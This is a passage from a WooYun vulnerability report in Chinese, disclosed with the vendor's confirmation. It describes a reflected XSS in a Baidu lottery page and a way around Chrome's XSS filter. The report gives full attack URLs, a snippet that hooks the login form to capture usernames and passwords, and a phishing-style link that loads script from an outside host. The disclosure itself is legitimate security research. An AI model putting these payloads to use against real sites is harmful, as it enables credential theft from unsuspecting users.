当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-088609

漏洞标题:百度某分站XSS漏洞可以绕过chrome filter保护

相关厂商:百度

漏洞作者: 香草

提交时间:2014-12-25 16:30

修复时间:2015-02-08 16:32

公开时间:2015-02-08 16:32

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-25: 细节已通知厂商并且等待厂商处理中
2014-12-26: 厂商已经确认,细节仅向厂商公开
2015-01-05: 细节向核心白帽子及相关领域专家公开
2015-01-15: 细节向普通白帽子公开
2015-01-25: 细节向实习白帽子公开
2015-02-08: 细节向公众公开

简要描述:

正好可以做为一个chrome filter绕过的案例,所以拿出来讲讲

详细说明:

今天打开百度首页,发现可以抽奖,有便宜不占非君子。于是我就点进去看了看

http://api.open.baidu.com/pae/ecosys/page/lottery?type=video&wd=xx&nowType=lottery&site=iqiyi


xss0.jpg


可是半天都没有领取成功,于是我就随便点开看了看,找个xss玩儿吧。随便试了试发现
type=video&wd=xx&nowType=lottery&site=iqiyi
这几个参数都没有过滤双引号,可以很不幸,输入的内容还是会被chrome的xssfilter拦截。这里就需要用到chrome的复参绕过的向量。
我这里重点关注低三个参数,site他是一个类容输出在两个不同的地方的。

http://api.open.baidu.com/pae/ecosys/page/lottery?type=video&wd=xx&nowType=lottery&site=iqiyi%27%22xxx


xss01.jpg


如图可知,输出点出现在两个地方,且没有过滤
一般的xss代码,不用想都会被chrome的filter拦截的

xss02.jpg


那我们要怎么绕过呢?
以前研究过的一个过的对于这种一个变量输出在两个不同地方的情况,可以过chrome的向量

"><img src='onerror=alert(1)


http://api.open.baidu.com/pae/ecosys/page/lottery?type=video&wd=xx&nowType=lottery&site=iqiyi%22%3E%3Cimg%20src=%27onerror=alert(1)


xss03.jpg


如图可见,后面还有一个.png)会导致代码出错,那我们能不能用//来注释后面的代码呢,答案是否定的,测试发现只要加上/拦截器就会拦截,这一点chrome还是做得很好的。
想了一会儿,脑洞打开,既然我们不能注释后面的类容,那我们可以闭合,不让报错,不就行了。
最终构造出如下链接

http://api.open.baidu.com/pae/ecosys/page/lottery?type=video&wd=xx&nowType=lottery&site=iqiyi%22%3E%3Cimg%20src=x%20onerror=x={png:1};(function(){alert(location.href)})(x


得到的结果如下:

passport01.jpg


成功闭合代码
下面我们来劫持用户的账号密码(在用户没登陆的情况下,登陆的情况就懒得写了),劫持代码如下:

var pass="";
TANGRAM__PSP_9__password.onblur=function(){pass=this.value};
TANGRAM__PSP_9__submit.onclick=function(){alert('by xiangcao username:'+TANGRAM__PSP_9__userName.value+'password:'+pass)}//发送我就不写了


最后把构造好的链接

http://api.open.baidu.com/pae/ecosys/page/lottery?type=video&wd=xx&nowType=lottery&site=iqiyi"><img%20id=x%20alt=with(body)appendChild(createElement(/script/.source)).src="//qqq.si/soPurw"%20src=%27%20onerror=x={png:1};(function(){eval(alt)})(x


发送出去:
<a href="http://api.open.baidu.com/pae/ecosys/page/lottery?type=video&amp;wd=xx&amp;nowType=lottery&amp;site=iqiyi&quot;&gt;&lt;img%20id=x%20alt=with(body)appendChild(createElement(/script/.source)).src=&quot;//qqq.si/soPurw&quot;%20src=%27%20onerror=x={png:1};(function(){eval(alt)})(x">百度发福利了,快来抢啊</a>
结果

xss2.jpg

漏洞证明:

点击链接

http://api.open.baidu.com/pae/ecosys/page/lottery?type=video&wd=xx&nowType=lottery&site=iqiyi%22%3E%3Cimg%20src=x%20onerror=x={png:1};(function(){alert(location.href)})(x


xss3.jpg


xss2.jpg

修复方案:

过滤双引号即可

版权声明:转载请注明来源 香草@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:6

确认时间:2014-12-26 09:46

厂商回复:

该问题已经被其他白帽子报告过,但鉴于洞主报告详细,给出了可绕过chrome浏览器filter的完整的利用语句,评中危

最新状态:

暂无